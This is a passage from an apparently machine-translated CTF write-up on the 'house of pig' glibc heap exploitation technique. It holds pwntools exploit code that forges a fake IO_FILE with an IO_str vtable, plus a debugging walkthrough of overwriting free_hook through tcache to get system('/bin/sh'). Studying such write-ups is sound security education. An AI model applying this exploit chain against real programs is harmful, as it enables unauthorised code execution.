p64(heap_base+0x148b8) #v5 _IO_buf_end fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00') fake_IO_FILE += p64(0) #change _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00') fake_IO_FILE += p64(IO_str_vtable) #change vtable payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr) sa('Gift:', payload) #When using role 3, that is, daddy applies to C4, there will be a gift Menu(5) sla('user:\n', '')
Set the chain in largebin
There will be a gift when applying for C4 using role three daddy
An additional chunk of 0xf0 will be applied, and data will be read into it continuously
The chunk of 0xf0 will be cut from the unsortedbin
The chain in largebin points to this chunk. You can use the fp command to use this address as an IO_FILE structure view
According to io_str_overflow application chunk size calculation rules
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100 $2 = 0x94
According to malloc's application rules, a chunk of 0xa0 will be applied. At this time, the first chunk in the tcache of 0xa0 is free_hook-0x10
After malloc applies for chunk, if_ IO_ buf_ If there is data in the space pointed to by base, the data will be copied to new_ In buf, that is, free_hook-0x10,_ IO_buf_base points to the address of / bin/sh and system, so / bin/sh will eventually be copied to free_hook-0x10, copy the system to free_hook-0x8 and free_hook, and finally calling free will trigger system('/bin/sh')
and The trigger condition of house of pig is to call _ IO_flush_all_lockp requires one of the following three conditions:
- When libc executes the abort process.
- The program explicitly calls exit.
- The program can return through the main function.
This program calls a lot of exit, which can trigger the house of pig
We'll follow you to io_ str_ Look at the execution process in overflow
pwndbg> p/x new_size $3 = 0x94
size is the same as we calculated
Before calling malloc
After calling malloc
free_hook has been applied for
Next, start memcpy
old_ The data that buf points to is / bin/sh
After memcpy execution
Then comes the getshell
Finally, why did you apply for chunk to free_hook-0x10 instead of free_hook-0x8 is because the new version of glibc adds a check on tcache. The address applied by tcache needs to be aligned with 0x10, which is why.
0x5. End scattering
I learned a lot through this question, reviewed and consolidated a lot of knowledge points, carried out debugging with patience, hardened my head, restored the structure, and gained a lot.